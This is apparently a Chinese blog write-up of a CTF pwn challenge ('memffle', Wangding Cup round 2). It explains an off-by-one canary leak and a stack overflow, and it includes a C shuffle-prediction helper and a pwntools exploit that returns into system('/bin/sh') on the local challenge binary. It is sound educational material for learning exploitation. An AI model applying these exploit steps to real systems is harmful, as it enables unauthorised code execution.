wangding-2rd-memffle-writeup

作者: 分类: pwn 时间: 2018-09-02 浏览: 808 评论: 2条评论

前言

立个flag,未来一年,一周至少一篇pwn

正文

网鼎杯第二场 memffle
如果有不对的地方,恳请师傅们指正

checksec

checksec.png
保护全开,通常是俩种解法,一个是绕过canary,一个是覆盖hook

程序逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  time_t seed; // ST1C_4

  seed = time(0);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  srand(seed);
  sub_C58();
  return 0;
}

以当前时间戳作为seed,进入sub_c58函数

unsigned int sub_C58()
{
  int N; // [esp+4h] [ebp-224h]
  unsigned int v2; // [esp+8h] [ebp-220h]
  char v3; // [esp+Ch] [ebp-21Ch]
  int v4; // [esp+20Ch] [ebp-1Ch]
  int v5; // [esp+210h] [ebp-18h]
  int v6; // [esp+214h] [ebp-14h]
  int v7; // [esp+218h] [ebp-10h]
  unsigned int v8; // [esp+21Ch] [ebp-Ch]

  v8 = __readgsdword(0x14u);
  v2 = ((unsigned int)&system & 0xFF000) >> 12;
  memset(&v3, 0, 0x200u);
  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  printf("Your name is? ");
  readdata((int)&v4, 16);
  printf("Welcome to my in-memory shuffling service, %s!\n", &v4);
  printf("Here's a gift for you: %x\n", v2);
  printf("How many numbers do you want to input? ");
  _isoc99_scanf("%d", &N);
  if ( N <= 0 )
  {
    puts("A positive N is required!");
    exit(0);
  }
  read_r((int)&v3, N);
  puts("The array is:");
  print_r((int)&v3, N);
  shuffing((int)&v3, N);
  puts("After shuffling, the array is:");
  print_r((int)&v3, N);
  return __readgsdword(0x14u) ^ v8;
}

程序会输出system函数地址的一个byte,system最后3位是不变的(0xb7e54310)。那么不知道的就只有半个byte(e的位置)。

程序会让你输入名字,然后打印名字。再让你输入一个数字。代表数组的长度。接着输入这个数组,乱序后,再输出。

看到shuffing函数

int __cdecl shuffing(int a1, int a2)
{
  int result; // eax
  int v3; // eax
  int v4; // ST0C_4
  int *v5; // edx
  int i; // [esp+4h] [ebp-14h]

  result = a2 - 1;
  for ( i = a2 - 1; i >= 0; --i )
  {
    v3 = rand();
    v4 = *(_DWORD *)(4 * i + a1);
    *(_DWORD *)(a1 + 4 * i) = *(_DWORD *)(4 * (v3 % (i + 1)) + a1);
    v5 = (int *)(a1 + 4 * (v3 % (i + 1)));
    result = v4;
    *v5 = v4;
  }
  return result;
}

简单说就是

for(j=a2-1;j>-1;j--){
        i = rand();
        v4=v[j];
        v[j]=v[i%(j+1)];
        v[i%(j+1)]=v4;
}

因为输入的大小没有限制。这里显然存在栈溢出。但是这个是有canary保护的,需要先泄露canary。

point

int __cdecl readdata(int a1, int a2)
{
  int result; // eax
  char v3; // [esp+Bh] [ebp-Dh]
  int i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i > a2 )
      break;
    v3 = getchar();
    if ( v3 == '\n' )
    {
      result = i + a1;
      *(_BYTE *)(i + a1) = 0;
      return result;
    }
    *(_BYTE *)(a1 + i) = v3;
  }
  return result;
}

i>a2的时候才中断,导致v4多读了一位。

int v4; // [esp+20Ch] [ebp-1Ch]
int v5; // [esp+210h] [ebp-18h]
int v6; // [esp+214h] [ebp-14h]
int v7; // [esp+218h] [ebp-10h]
unsigned int v8; // [esp+21Ch] [ebp-Ch]

v4是ebp-1ch,多读一位正好覆盖canary第一位。canary最后一位为0,覆盖了0的话,会导致canary被printf读出(\x00终止)
常见canary如下
canary.png

exp

printrand.c

#include <stdio.h>
#include <time.h>
int main(){
    time_t seed =time(0);
    printf("%lu ",seed);
    srand(seed);
    int v[138];
    int i,j,v4;

    for(j=0;j<139;j++){
        v[j]=j+1;
    }
    
    for(j=138;j>-1;j--){
        i = rand();
        v4=v[j];
        v[j]=v[i%(j+1)];
        v[i%(j+1)]=v4;
    }
    // v4= v[4];
    // v[4] = v[100];
    // v[100]=v4;
    printf("\n");
    printf("canary:%d\n",v[132]);
    
    
    printf("ret:%d\n",v[136]);
    
    
    printf("str:%d\n",v[138]);

    for (j=0;j<139;j++){
        printf("%u ", v[j]);
    }
}

exp.py

from pwn import *
import os

#context.log_level = 'debug'

p = process("./pwn2")

output=os.popen("./printrand")
e = ELF("pwn2")
x,ret,canary,str_sh,y= output.read().split("\n")
print ret,canary,str_sh
sss = [ret,canary,str_sh]
for i in sss:
    if i.startswith("ret"):
        ret = i[4:]
    if i.startswith("canary"):
        canary=i[7:]
    if i.startswith("str"):
        str_sh=i[4:]
print ret,canary,str_sh
print y
p.readuntil(" is? ")
p.sendline("12345678901234567")
canary_real = p.readuntil("\n")

canary_real = u32("\x00"+canary_real[-9:-6])
print canary_real
#gdb.attach(p)
gift = (p.readuntil("\n")[-3:-1]).zfill(2)
print gift
p.readuntil("input? ")
p.sendline("139")
gdb.attach(p)
for i in range(139):
    p.readuntil(": ")
    #p.sendline(str(i+1))
    if str(i+1)==ret:
        p.sendline(str(int("0xb75"+gift+"310",16)))
    elif str(i+1)==canary:
        p.sendline(str(canary_real))
    elif str(i+1)==str_sh:
        p.sendline(str(int("0xb75"+gift+"310",16)+0x122a3c))
    else:
        p.sendline("1111")
p.interactive()

result

result.png

标签: stackcanary

订阅本站(RSS)

已有 2 条评论

  1. 咸鱼

    大佬能不能没事抽点时间也发点php代码审计的啊.

    时间: 2018-09-04 at 17:25 回复
    1. php的不太好发,容易出事情

      时间: 2018-09-07 at 11:00 回复

添加新评论